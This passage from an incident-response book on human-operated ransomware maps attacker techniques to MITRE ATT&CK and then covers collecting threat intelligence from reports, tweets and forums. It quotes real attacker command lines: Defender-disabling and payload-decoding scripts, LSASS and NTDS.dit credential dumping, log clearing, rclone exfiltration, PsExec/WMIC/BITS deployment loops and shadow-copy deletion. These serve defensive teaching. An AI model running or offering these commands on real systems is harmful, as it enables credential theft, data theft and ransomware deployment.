Often, especially if we are talking about RDP or VPN compromise, the threat actors use legitimate accounts to access the corporate network. As they may pose as several compromised accounts, this technique may be used to gain persistent access. What's more, as the accounts are legitimate, ransomware affiliates may stay undetected for quite a long period.

**Create account (T1136)**

If ransomware affiliates already have privileged accounts, they may use them to create additional accounts to gain redundant access to the network, even if compromised accounts are detected and blocked by the security personnel.

**Boot or logon autostart execution (T1547)**

As various commodity malware is a very common initial access tool for various ransomware affiliates, there are some common persistence techniques. For example, Bazar Loader is known to leverage the **Run** key (**Software\Microsoft\Windows\CurrentVersion\Run**) to become persistent on the compromised system.

Another sub-technique that's used by the same trojan is abusing features of Winlogon to execute the payload when a user logs in. This is done by modifying the **Software\Microsoft\Windows NT\CurrentVersion\Winlogon** registry key.

**Scheduled task/job (T1053)**

Creating a scheduled task is another very common technique that's used by many trojans involved in human-operated ransomware attacks. Here's an example command line that's used by Qakbot to achieve persistence:

C:\Windows\System32\schtasks.exe" /create /tn {AC45A601-09FD-5A61-A328-2DED4897D427} /tr "\"C:\Users\Shelly\AppData\Roaming\Microsoft\Lapahcah\lapahzv.exe\""/sc HOURLY /mo 6 /F

The scheduled task will execute the Qakbot payload every 6 hours. Sub-tasking can fly past certain monitor tools and rules because of parent tasking.

**Server software component (T1505)**

You already know that exploiting public-facing applications is quite a common technique that's used by ransomware affiliates to gain initial access to the network, so it's quite common for them to deploy web shells to achieve persistence.

Web shells are just scripts placed on openly accessible web servers, which allows the threat actors to execute various commands through a command-line interface.

So far, we've looked at the most common techniques that are used by ransomware affiliates to obtain persistent access. Now, let's look at how they manage to escalate privileges.

Escalating privileges

In many cases, the threat actors don't have proper privileges after gaining initial access to the target system. Several techniques are used by ransomware affiliates to escalate privileges. Let's look at the most common ones.

**Exploiting for privilege escalation (T1068)**

Various vulnerabilities may aid threat actors in various stages of a ransomware attack life cycle. This includes the privilege escalation stage. For example, **ProLock** ransomware affiliates were observed to exploit a vulnerability in the **CreateWindowEx** function (CVE-2019-0859) to obtain administrator-level privileges.

Another example is the REvil ransomware itself. It was used to exploit a vulnerability in the **win32.sys** Microsoft Windows driver (CVE-2018-8453) to elevate privileges.

As we can see, many common vulnerabilities can be leveraged to gain privileges. If a business does not patch or address these vulnerabilities, then they can be found in this predicament.

**Creating or modifying system process (T1543)**

Windows services are commonly abused by various threat actors, including ransomware affiliates, to execute malicious code both locally and remotely. At the same time, Windows services may also be used for privilege escalation as they can be executed under SYSTEM privileges. Window services should be monitored for uncommon times of use and a use case should be developed to enhance monitoring.

**Process injection (T1055)**

Another very common technique is process injection. The threat actors may use legitimate processes with elevated privileges to execute arbitrary code in its address space. The same techniques can be also used to bypass some defenses. For example, Trickbot is known to use **wermgr.exe** (Windows Problem Reporting) for injection, while Qakbot uses **explorer.exe** (Windows Explorer).

**Abuse elevation control mechanism (T1548)**

Windows has a few elevation control mechanisms and, of course, ransomware affiliates find various ways of bypassing them. A good example of such a mechanism is **User Account Control** (**UAC**). This mechanism allows programs to escalate privileges by prompting user confirmation. To bypass this, as an example, Trickbot abused a legitimate Windows binary called **WSReset.exe**, which is used for resetting Windows Store settings.

Privileges are not the only obstacles threat actors face. Another problem is various defenses, which are very common in enterprise environments.

Bypassing defenses

In most cases, ransomware affiliates must use various techniques to avoid detection throughout the attack life cycle. They may disable/uninstall security software, obfuscate or encrypt data, or, for example, remove indicators from compromised hosts.

**Exploiting for defense evasion (T1211)**

The threat actors may exploit various vulnerabilities to bypass security products and features. And, of course, I have an example from the real world. Robinhood ransomware affiliates exploited a vulnerability in the Gigabyte driver (CVE-2018-19320). This allowed the threat actors to load another unsigned driver, which was used to kill processes and services related to security products and enable successful ransomware deployment.

**Deobfuscating/decoding files or information (T1140)**

It's quite common for both malware and ransomware to use various obfuscation techniques, such as encryption and encoding, to bypass detection mechanisms. A very common obfuscation technique is base64 encoding.

A very good example of this technique is launching Cobalt Strike SMB Beacon with PowerShell:

C:\WINDOWS\system32\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQ<redacted>

As we've already mentioned, Cobalt Strike is a very common post-exploitation framework that's leveraged by many ransomware affiliates. It's a post-exploitation toolkit with advanced capabilities, originally developed for penetration testers and red teamers for attacks simulation, but unfortunately, it became popular among real threat actors.

**File and directory permissions modification (T1222)**

As we are talking about ransomware, we mute note that in many cases, the threat actors need to access protected files. Such files can be encrypted.

Many ransomware samples leverage a built-in utility called **icacls**, which allows users to display and modify the security descriptors of folders and files. Here's an example of its usage by the notorious Ryuk ransomware:

icacls /grant Everyone:F /T /C /Q

This command removes any access restrictions on folders and files.

**Impairing defenses (T1562)**

Most environments have at least some defensive mechanisms, so ransomware affiliates must bypass them to be able to achieve their goals. Such activities may include disabling antivirus software or Windows event logging.

For example, during the Kaseya attack ([**https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689**](https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689)), REvil affiliates used the following script:

C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

As you can see, a part of the script focuses on disabling various features of Windows Defender – a built-in Windows antivirus software.

Of course, in most cases, Windows Defender isn't the only antivirus software that's deployed, so the threat actors have to deal with other protections as well. A common example is just stopping related processes and services using ransomware itself or using tools such as Process Hacker and GMER.

**Indicator removal on host (T1070)**

Ransomware affiliates usually want to stay in the network for as long as possible, so they may want to make the lives of cyber defenders a bit harder by removing logs and files, which could be used to track them down in the compromised environment.

During one of the most recent incident response engagements, we observed the threat actors using a very simple, but still very efficient, command:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "wevtutil el | foreach { wevtutil cl $\_ }"

This simple command allowed them to clear all the event logs at once.

**Signed binary proxy execution (T1218)**

The last defense evasion technique we're going to look at is signed binary proxy execution. Ransomware affiliates may use legitimate binaries to proxy the execution of malicious code. Some very common examples include **rundll32.exe** and **regsvr32.exe**.

Here's an example of how Conti ransomware affiliates abused **rundll32.exe** to run a Cobalt Strike Beacon:

rundll32.exe C:\Programdata\sys64.dll entryPoint

Another example is IcedID leveraging regsvr32.exe:

regsvr32 c:\programdata\preview.jpeg

Of course, there are more signed binaries that can be leveraged by ransomware affiliates. For example, during one of the most recent campaigns, Zloader operators used **msiexec.exe** to attempt to bypass defenses.

Now, let's move on and look at some common techniques that are leveraged by threat actors to access credentials.

Accessing credentials

As in most cases, ransomware affiliates want to encrypt as many hosts as possible, so they must be able to move laterally or at least run malicious code remotely. To do so silently and successfully, they prefer to obtain elevated credentials first, but, their main goal is to obtain the domain administrator account.

There are quite a few techniques that enable threat actors to obtain authentication material. Let's look at the most common ones.

**Brute force (T1110)**

As you may recall, RDP, VPN, and other external remote services are extremely common for human-operated ransomware attacks. Such services are poorly protected in many cases, so the initial access brokers or ransomware affiliates themselves may run successful brute-force attacks against them to gain access to valid accounts.

**OS credential dumping (T1003)**

Another very common technique is credential dumping. Despite the fact it's easily detectable, ransomware affiliates still use **Mimikatz** often. In some cases, the threat actors even download it manually on the compromised host from the official GitHub repository!

It's not the only tool that's used for credential dumping. One of the alternatives that's being observed more and more often recently is **LaZagne** – a tool that is capable of extracting credentials not only from volatile memory but also from various password stores, such as web browsers.

Another example is leveraging a legitimate tool called **ProcDump**. This tool is commonly used by ransomware affiliates to dump the process memory of the **Local Security Authority Subsystem Service** (**LSASS**):

procdump64.exe -ma lsass.exe lsass.dmp

Such dumps can be exfiltrated and used for extracting credentials from the attacker's side using tools such as Mimikatz.

Ransomware affiliates don't even have to download additional tools to dump credentials – they can abuse built-in Windows capabilities. For example, Conti affiliates used the COM+ service's DLL MiniDump to dump **lsass.exe**:

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 928 C:\programdata\aaa.zip full

If the threat actors managed to obtain access to a domain controller, they may also want to dump the whole Active Directory domain database, which is stored in a file called **NTDS.dit**.

The same affiliates used a built-in utility called **ntdsutil** to make a copy of **NTDS.dit**:

ntdsutil "ac in ntds" "ifm" "cr fu C:\Perflogs\a" q q

This file can be used by ransomware affiliates not only for obtaining credentials but also for collecting information about domain members.

**Steal or forge Kerberos tickets (T1558)**

As it's not always possible to dump or brute-force credentials, the threat actors keep finding new ways to obtain valid accounts. Recently, credential access techniques such as **Kerberoasting** have become more and more popular among ransomware affiliates.

They abuse a valid Kerberos **ticket-granting ticket** (**TGT**) or sniff network traffic to obtain a **ticket-granting service** (**TGS**) ticket. For example, Ryuk ransomware affiliates were observed to use Rubeus to perform a Kerberoasting attack.

With proper credentials at hand, ransomware affiliates are ready for lateral movement.

Moving laterally

Before they start to move laterally, the threat actors need to collect information about the network they have got into. Such activities may include network scanning and Active Directory reconnaissance.

The two most common network scanning tools that are leveraged by various ransomware affiliates are Advanced IP Scanner and SoftPerfect Network Scanner.

As for Active Directory reconnaissance, one of the most common tools that's leveraged by threat actors is **AdFind**, a legitimate command-line Active Directory query tool.

Here's an example of how this tool was used by Netwalker ransomware affiliates:

adfind.exe -f "(objectcategory=person)" > ad\_users.txt

adfind.exe -f "objectcategory=computer" > ad\_computers.txt

adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt

adfind.exe -gcb -sc trustdmp > trustdmp.txt

adfind.exe -sc domainlist > domainlist.txt

adfind.exe -sc dcmodes > dcmodes.txt

adfind.exe -sc adinfo > adinfo.txt

adfind.exe -sc dclist > dclist.txt

AdFind allows ransomware affiliates to collect information about users, computers, domain trusts, subnet, and more. This information may help the threat actors find the most valuable hosts, such as those with backups and sensitive information.

Another popular tool for Active Directory reconnaissance is ADRecon. This tool was actively used by REvil ransomware affiliates.

Just like in the previous stages, the threat actors may use built-in Windows capabilities to perform network reconnaissance. For example, Conti ransomware affiliates leveraged PowerShell **cmdlets** to solve this problem:

Get-ADComputer -Filter {enabled -eq $true} -properties \*|select Name, DNSHostName, OperatingSystem, LastLogonDate | Export-CSV C:\Users\AllWindows.csv -NoTypeInformation -Encoding UTF8

Now, let's look at lateral movement techniques.

**Exploiting remote services (T1210)**

Lateral movement is another tactic where vulnerabilities may be of great help for threat actors. Many of them use quite common vulnerabilities, with a good example being EternalBlue (CVE-2017-0144) – a vulnerability in the **Server Message Block** (**SMB**) protocol that was used by the notorious WannaCry back in 2017.

This vulnerability is still observed in many enterprise environments, so ransomware affiliates such as LockBit ransomware affiliates exploit it these days as well.

Other common vulnerabilities that are leveraged by threat actors to enable lateral movement include SMBGhost (CVE-2020-0796) and Zerologon (CVE-2020-1472).

**Remote services (T1021)**

Ransomware affiliates use various remote services, such as RDP, SMB, and others, to move laterally using valid accounts.

If the threat actors got initial access via RDP, in many cases, they use the same protocol to connect to other hosts in the compromised network to deploy malware or remote access tools and, of course, ransomware.

Ransomware affiliates love RDP, so they even have scripts in their arsenals to enable such a connection with the target hosts:

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG\_DWORD /d 0 /f

netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG\_DWORD /d 0 /f

Other sub-techniques include SMB and **Windows Remote Management** (**WinRM**).

**Using alternate authentication material (T1550)**

It's not always possible for ransomware affiliates to obtain plaintext passwords, so in some cases, they have to use password hashes or Kerberos tickets to move laterally. Both **Pass the Hash** (**PtH**) and **Pass the Ticket** (**PtT**) attacks can be performed with the help of Mimikatz or common post-exploitation frameworks, such as Cobalt Strike and Metasploit.

One of the goals of ransomware affiliates during lateral movement activities is finding hosts with sensitive data so that they can be collected and exfiltrated. We'll look at a common collection and exfiltration techniques in the next section.

Collecting and exfiltrating data

We've already discussed that modern human-operated ransomware attacks, in most cases, are not only about data encryption but about data exfiltration. There are multiple sources that ransomware affiliates may collect data from before exfiltration. Let's look at the most common ones.

**Data from local system (T1005)**

The threat actors may find valuable data on some of the compromised systems. Agreements, contracts, or files containing personal data – all these may be used by ransomware affiliates for extortion.

**Data from network shared drives (T1039)**

Network shared drives are very common sources of potentially sensitive information, so data in such locations is often collected and exfiltrated by various ransomware affiliates.

**Email collection (T1114)**

Some threat actors use a more targeted approach. For example, Cl0p ransomware affiliates usually tried to locate hosts that belonged to the target company's top management and collected emails from them for further extortion.

**Archive collected data (T1560)**

In some cases, ransomware affiliates may archive collected data before exfiltration. For example, Conti ransomware affiliates used a legitimate utility called 7-Zip to put collected data into an archive before exfiltration.

**Exfiltration over web service (T1567)**

Various web services such as MEGA, DropMeFiles, and others are extremely popular among ransomware affiliates. They can leverage a web browser to upload collected data to storage or use tools such as RClone to automate this process.

Here's an example of using RClone for data exfiltration:

rclone.exe copy "\\server\folder" remote:victim -q –ignore-existing –auto-confirm –multi-thread-streams 12 –transfers 12

C:\Users\Admin\.config\rclone\rclone.conf

In some cases, the threat actors may even develop separate tools for data collection and exfiltration.

**Automated exfiltration (T1020)**

LockBit operators offered their affiliates not only ransomware for deployment but also a tool for data exfiltration – StealBit.

This tool automatically exfiltrates all the accessible files from the compromised host except for system files, registry files, and some other files based on extensions from the built-in list. Once all the collected data has been successfully exfiltrated, it's time for the final goal – ransomware deployment.

Ransomware deployment

The final goal of any human-operated ransomware attack is ransomware deployment. By this time, the backups are wiped (or going to be encrypted first), the security products are disabled, and data is exfiltrated.

One of the most common deployment techniques is copying a ransomware payload via SMB and executing it with PsExec – a legitimate tool from the SysInternals suite that's commonly used by ransomware affiliates for remote execution.

Here's an example of how Netwalker ransomware affiliates leverage this tool for remote execution:

set INPUT\_FILE=ips.txt

set DOMAINADUSER=DOMAIN\Administrator

set DOMAINADPASS=Passw0rd!

for /f %%G IN (%INPUT\_FILE%) DO net use \\%%G\C$ /user:%DOMAINADUSER% %DOMAINADPASS%

for /f %%G IN (%INPUT\_FILE%) DO copy n.ps1 \\%%G\C$\

for /f %%G IN (%INPUT\_FILE%) DO PsExec.exe -d \\%%G powershell -ExecutionPolicy Bypass -NoProfile -NoLogo -NoExit -File C:\n.ps1

Another example is Egregor ransomware affiliates, who leverage the **Windows Management Instrumentation command-line** (**WMIC**) for deployment:

for /F %%i in (C:\windows\list.txt)

do @ net use \\%%i\c$ "password" /user:"DOMAIN\user"

&& copy C:\Windows\q.dll \\%%i\c$\Windows\q.dll /Y

&& wmic /node:%%i /user:"DOMAIN\user" /password:"password"

process call create "rundll32.exe C:\Windows\q.dll,DllRegisterServer %1 --full"

&& echo %%i 1>>c:\windows\temp\log.dat & net use \\%%i\c$ /delete

Let's look at one more example. This time, we'll look at the Ryuk ransomware. Its affiliates also used **Background Intelligent Transfer Service** (**BITS**) for deployment:

start wmic /node:@C:\share$\comps.txt

/user: "DOMAIN\Administrator" /password: "pass!"

process call create "cmd.exe /c bitsadmin /transfer ry \\..\share$\ry.exe %APPDATA%\ry.exe &%APPDATA%\ry.exe

Ransomware itself usually leverages a few techniques. Let's look at them.

**Inhibit system recovery (T1490)**

Almost every ransomware sample has the built-in capability to remove or disable system recovery features. A very common example is the capability to remove volume shadow copies:

vssadmin delete shadows /all /quiet

The final step is data encryption.

**Data encrypted for impact (T1490)**

The main goal of any ransomware attack is to encrypt files on compromised hosts. Developers use various algorithms for encryption, including AES, RSA, Salsa20, ChaCha, and custom implementations. Unfortunately, it's impossible to decrypt files without getting the key from the threat actors. That's why victims have to pay for and motivate ransomware affiliates for further attacks.

With that, we've walked through the entire attack life cycle and focused on the most common techniques that are leveraged by ransomware affiliates. It's important to note that the TTPs of the threat actors shift with time, so it's very important to have access to up-to-date cyber threat intelligence.

Summary

Modern human-operated ransomware attacks are not only about data encryption. To deploy ransomware enterprise-wide, the threat actors must walk a long way from the initial access process to data exfiltration, so the cyber security team usually has a lot of detection opportunities. At the same time, as incident responders, we must be well aware of the current tactics, techniques, and procedures that are being leveraged by ransomware affiliates so that we can respond to such attacks quickly and efficiently.

As TTPs may change with time, it's crucial for incident responders and other security personnel to have access to or be able to collect, process, and produce actionable ransomware-related cyber threat intelligence.

In the next chapter, we'll look at various open sources that can be used for cyber threat intelligence collection.

*Chapter 6*: Collecting Ransomware-Related Cyber Threat Intelligence

As you've learned from the previous chapter, **ransomware affiliates** may use a wide variety of **tactics, techniques, and procedures** (**TTPs**), so knowing what exactly they are using in the attack you are responding to seems quite a good idea. Some of these tactics and techniques might be for short games, while others may be for long-term positions—it really depends upon the end goal of the threat actor.

Usually, the first thing you learn starting an **incident response** (**IR**) engagement is the ransomware strain used by threat actors. As many ransomware strains are distributed under a **ransomware-as-a-service** (**RaaS**) model, various affiliates may have various approaches to the attack life cycle, so their TTPs may vary as well.

Taking this fact into consideration, it's a very good idea to have proper **cyber threat intelligence** (**CTI**) to aid your engagement. Of course, commercial CTI platforms are of great help, but even these sources may not have all information you may need, so the ability to collect proper intelligence for your current or future IR engagements is a key skill.

In this chapter, we'll look at some sources of ransomware-related CTI, including the following:

* Threat research reports
* Community
* Threat actors

Threat research reports

Most cyber security companies produce various threat research reports, including those related to ransomware attacks, so such sources can be easily used for CTI collection. Threat research reports are a very important part of threat assessment. These reports help technical and non-technical people to assess their current landscape and measure it against the threat landscape.

Of course, no report contains all the details, so the best approach is to use research produced by various cyber security vendors focused on the same threat. At the same time, some reports provide **indicators of compromise** (**IoCs**) and other critical data that can be shared with the general public. Some of these reports can help others be prepared for these threat actors and their attacks.

In this section, we'll look at various reports on **Egregor ransomware** so that we can collect as much intelligence on its affiliates' TTPs as possible.

Let's start with the report by *Group-IB* I co-authored, which is titled *Egregor ransomware: The legacy of Maze lives on*. The report is available here: [**https://explore.group-ib.com/ransomware-reports/egregor\_wp**](https://explore.group-ib.com/ransomware-reports/egregor_wp).

Every ransomware attack starts from initial access to the target network. According to the report we are analyzing, Egregor affiliates used **Qakbot**, which was delivered to victims via spear-phishing emails. Spear phishing is one of the most common yet highly effective means to gain access to a network. These threat actors know that they can target regular users because they know they might not have the technical skills to understand an attack.

So, what is Qakbot? Originally, it's a banking trojan that was first observed in the wild in 2007. Currently, it's used mostly for downloading additional payloads—for example, **Cobalt Strike Beacon**, and performing mass spamming activities using compromised hosts in order to infect additional targets. This trojan is notoriously used for gaining initial access to target networks by many ransomware affiliates, including **ProLock**, **Egregor**, **REvil**, **Conti**, and others.

The *Group-IB* report also contains information on Qakbot's persistence mechanisms, which include putting the payload or a **link** (**LNK**) file to the **startup** folder, writing the path to the payload in the *Run* key, or creating a scheduled task.

Post-exploitation activities include the use of Cobalt Strike. It's a commercial full-featured post-exploitation framework that originally was a tool for emulation of advanced attacks but soon became one of the most common tools in real threat actors' arsenal, enabling them to use many techniques described in *MITRE ATT&CK*.

According to the report, the threat actors also used **ADFind** to collect information about the compromised **Active Directory** (**AD**) environment. As you've learned from the previous chapter, this tool is also quite common for human-operated ransomware attacks.

To enable lateral movement, Egregor affiliates used scripting to make proper registry and firewall changes so that they could use **Remote Desktop Protocol** (**RDP**). The scripts are distributed via **PsExec**, a legitimate tool from **Sysinternals Suite** that allows you to execute commands on remote hosts. Legitimate tools and various scripts are the main means that threat actors use to stay undetected.

Another common technique observed to be used by Egregor affiliates is **process injection**, which is enabled by Cobalt Strike Beacon. Cobalt Strike Beacon can be a very powerful tool when trying to start lateral movement across an environment. Such techniques allow threat actors to be able to hide commands they use so that they can stay unnoticed.

To exfiltrate sensitive data from the network, Egregor affiliates used **Rclone**, a command-line tool for managing files on cloud storage. What's more, they use masquerading techniques, renaming the Rclone executable to **svchost.exe**.

To disable antivirus protection, the threat actors leveraged Group Policy, as well as **scepinstall.exe**, to uninstall **System Center Endpoint Protection** (**SCEP**). Such attacks are another example of how threat actors abuse legitimate features of modern environments.

To deploy ransomware, Egregor affiliates used a variety of techniques enabled by scripting, including the following:

* Abusing **Background Intelligent Transfer Service** (**BITS**) to download the ransomware payload from the attacker-controlled server and run it via **rundll32**
* Mounting the **C:\** drive of a remote host as a network share, copying the payload to **C:\Windows**, and running it via **rundll32**
* Copying and executing the ransomware payload via a PowerShell session on a remote host

As you can see, we can collect a lot of intelligence from just one single report, but of course, we can enrich it with more data.

Let's look at another report, this time from *Cybereason*, titled *Cybereason vs. Egregor Ransomware*. The report is available here: [**https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware**](https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware).

Now, we need to analyze it, extract data that we still don't have, and transform it into actionable CTI.

First of all, we can see that, according to the *Cybereason* report, Egregor affiliates obtain initial access to the target networks not only via Qakbot infections but also via **Ursnif** and **IcedID**. Just as with Qakbot, both malware families used to be banking trojans but are now usually used for downloading additional payloads. As we can see, many threat actors develop new capabilities, so their attacks can be more and more profitable.

Also, according to the report, Egregor affiliates use **SharpHound** (the data collector for BloodHound, which is commonly used by pen testers and threat actors to find relationships within an AD environment) to gather information about users, groups, computers, and so on.

Good—we've collected even more CTI, but let's go forward and look at one more report. This time, it's a report on Egregor ransomware by *Morphisec* titled *An analysis of the Egregor ransomware*. The report is available here: [**https://www.morphisec.com/hubfs/eBooks\_and\_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf**](https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf).

According to this report, Egregor affiliates obtained initial access via exploitation of a non-pathed **virtual private network** (**VPN**), so there are no trojans this time.

The threat actors used legitimate remote access software, such as **AnyDesk** and **SupRemo**, to maintain access to the compromised network. In 2021, AnyDesk was one of the most common tools leveraged by threat actors for redundant access.

To disable unwanted processes (for example, those belonging to antivirus software), the attackers used **PowerTool**—a free anti-rootkit utility.

To collect information about the compromised network, the threat actors leveraged a popular free tool—**SoftPerfect Network Scanner**.

To enable credential dumping, Egregor affiliates used **Mimikatz**, another popular tool used by pen testers and threat actors to extract passwords from memory, as well as other authentication material—hashes, **personal identification numbers** (**PINs**), and Kerberos tickets.

For data exfiltration, the threat actors used various cloud services, such as **WeTransfer** and **SendSpace**, as well as **MEGA Desktop App**.

In this case, Egregor affiliates also leveraged PsExec to execute scripts on remote hosts that ran the ransomware payload.

Finally, to cover some traces, the threat actors used **SDelete**—a command-line utility for secure file deletion.

OK—let's summarize our findings based on the analysis of all three reports, as follows:

* Egregor affiliates obtain initial access either via infecting the target hosts with various trojans using phishing emails or by exploiting non-patched VPNs.
* Egregor affiliates use various persistence mechanisms, including a startup folder, the *Run* key, and scheduled tasks.
* To collect information about compromised networks and AD, Egregor affiliates use ADFind, SharpHound, and SoftPerfect Network Scanner.
* To enable various post-exploitation activities, Egregor affiliates use Cobalt Strike.
* Egregor affiliates use RDP for lateral movement.
* Egregor affiliates use PsExec to execute commands and scripts, including those for ransomware deployment.
* Egregor affiliates use Group Policy and PowerTool to disable antivirus software, as well as **scepinstall.exe** to uninstall SCEP.
* Egregor affiliates use AnyDesk and SupRemo to maintain access to the compromised network.
* Egregor affiliates use Rclone and MEGA Desktop App, as well as various cloud services, for data exfiltration.
* To deploy ransomware, Egregor affiliates use BITS, PowerShell remoting, network shares, and **rundll32**.

As you can see, analyzing reports from various cyber security companies may provide us with great insights into ransomware affiliates' operations for us to use this CTI to make our IR engagements faster and more efficient.

In the next section, we'll look at how we can collect CTI from the cyber security community.

Community

There are thousands of incident responders worldwide, and of course, some of them like to share their findings from IR engagements. We already looked at some threat research reports, but it usually takes quite a lot of time to create one. Therefore, responders and researchers often use other media to share their findings in a short form. A very popular media platform for such sharing is *Twitter*.

If you are dealing with a human-operated ransomware attack and you already identified the strain, you may find quite a lot of information on the threat actors, including TTPs. Understanding the threat actor is critical. Usually, certain ransomware affiliates use specific tools and processes during certain stages of the attack life cycle.

Let's start with **RagnarLocker ransomware** and have a look at the following tweet from Peter Mackenzie, Director of Incident Response at *Sophos* ([**https://twitter.com/AltShiftPrtScn/status/1403707430765273095**](https://twitter.com/AltShiftPrtScn/status/1403707430765273095)):

Figure 6.1 – A tweet on RagnarLocker__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.1 – A tweet on RagnarLocker

So, what can we learn from this tweet? First of all, we can see that RagnarLocker affiliates potentially use **ProxyLogon** (**Common Vulnerabilities and Exposures** (**CVE**) *- 2021-26855*) for obtaining initial access to their targets. ProxyLogon is a vulnerability in Microsoft Exchange Server that allows an attacker to bypass authentication and impersonate the administrator.

To collect information about internal networks, RagnarLocker affiliates use **Advanced IP Scanner**, a free network scanner from *Famatech Corp* that is quite popular among various RaaS programs' affiliates.

Just as with many other threat actors, RagnarLocker affiliates use Cobalt Strike for various post-exploitation activities, including lateral movement (alongside RDP). To distribute beacons on remote hosts, the threat actors use **PaExec**, an open source alternative to PsExec from Sysinternals.

To have redundant access to a compromised network, RagnarLocker affiliates use **ScreenConnect**, legitimate remote-control software. Despite the fact it is legitimate, it can be leveraged by threat actors to obtain access to a compromised network.

Collected sensitive data is archived with help of **WinRAR** and exfiltrated with the help of **Handy Backup**, a commercial backup solution installed on the target hosts by threat actors. Zipping and password-protecting are common techniques used by threat actors during the exfiltration phase. Still, there are a lot of various forensic artifacts sources that can be used to detect it.

As you can see, we can collect a lot of valuable information from just a few tweets.

Let's move forward and look at another tweet by the same author, which you can see here:

Figure 6.2 – A tweet on DoppelPaymer__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.2 – A tweet on DoppelPaymer

Just as with RagnarLocker affiliates, **DoppelPaymer** affiliates actively use Cobalt Strike for post-exploitation.

Also, we can see that threat actors use **Rubeus**, a quite popular toolset for interacting with and abusing Kerberos.

Here's another example of a legitimate remote access tool used by threat actors for redundant access—**TightVNC**.

Again, we can see that DoppelPaymer affiliates use RDP for lateral movement—a very common technique used by threat actors both for initial access and accessing remote hosts in the target network.

Another interesting technique mentioned is creating a **virtual machine** (**VM**) to run the ransomware payload inside it. Originally, this technique was introduced by Maze and RagnarLocker affiliates, but it's currently used by other groups, including DoppelPaymer, as well.

Just as with many other threat actors, DoppelPaymer affiliates have a **Dedicated Leak Site** (**DLS**), so they exfiltrate data. From the source we are analyzing, we can see that they use the **MediaFire** service to store data.

One more time, we can see that we can collect a lot of valuable data on this or that threat actor involved in ransomware attacks, from just a single tweet.

Let's look at one more example, this time a tweet from Taha Karim, Director of Threat Intelligence at *Confiant*, which you can see here:

Figure 6.3 – A tweet on Clop__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.3 – A tweet on Clop

It's interesting that this tweet emerged long before any information on Clop affiliates' TTPs was published publicly.

As we can see from the tweet, Clop affiliates used phishing campaigns to infect their victims with **FlawedAmmyy RAT**. FlawedAmmyy is a common **remote access trojan** (**RAT**), usually attributed to TA505. The RAT is based on Ammyy Admin's leaked source code and enables threat actors to manipulate the compromised host in a hidden manner.

We have already learned that ransomware affiliates are in love with Cobalt Strike, and Clop ransomware affiliates are no exception. As you can see, it enables them to bypass **User Account Control** (**UAC**) and use common credential dumping tools such as Mimikatz. Despite the fact it's very noisy, we still see it leveraged by ransomware affiliates very often.

Finally, we can learn that Clop affiliates abuse **Service Control Manager** (**SCM**) to deploy ransomware enterprise-wide.

Of course, it's not always possible to collect a lot of information about the TTPs used by threat actors during the attack life cycle. At the same time, you may need to get some information about the ransomware itself. Here's a tweet by Andrew Zhdanov, who is actively tracking **BlackMatter ransomware** samples:

Figure 6.4 – A tweet on BlackMatter__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.4 – A tweet on BlackMatter

As you can see, there's not a lot of information on TTPs, but the tweet contains a link to the analyzed sample, as well as information on some of its functionality.

Twitter isn't the only media platform for such intelligence collection—another good example is *LinkedIn*. Also, you can always ask your fellow incident responders and CTI analysts to share some data—just don't be afraid of the global community.

Now let's look at an even more interesting source of actionable CTI—the threat actors themselves.

Threat actors

As you will have understood already, this book is devoted to human-operated ransomware attacks. So, the threat actors we are dealing with are humans, and humans tend to communicate and share. One of the most common media used for such sharing is underground forums.

In this section, we'll look at some forum posts, collected by the **Group-IB Threat Intelligence and Attribution** platform.

The first post we'll look at is created by a threat actor with the nickname *FishEye*, who is known to be affiliated with REvil, LockBit, and some other ransomware strains. You can see it here:

Figure 6.5 – A post by FishEye__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.5 – A post by FishEye

In this post, the threat actor shows their interest in obtaining a working exploit for a vulnerability in the **SonicWall VPN**. The threat actor points out the fact that Conti ransomware affiliates already have it and use it in their campaigns.

Most likely, the threat actor is writing about a vulnerability in SonicWall **Secure Mobile Access** (**SMA**) 100-series products (*CVE-2021-20016*). This vulnerability can be exploited remotely and enables attackers to access credentials so that they can access the internal network using valid accounts to perform post-exploitation actions.

The next post we'll look at is one by a notorious REvil spokesperson under the moniker *UNKN*. Here it is:

Figure 6.6 – A post by UNKN__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.6 – A post by UNKN

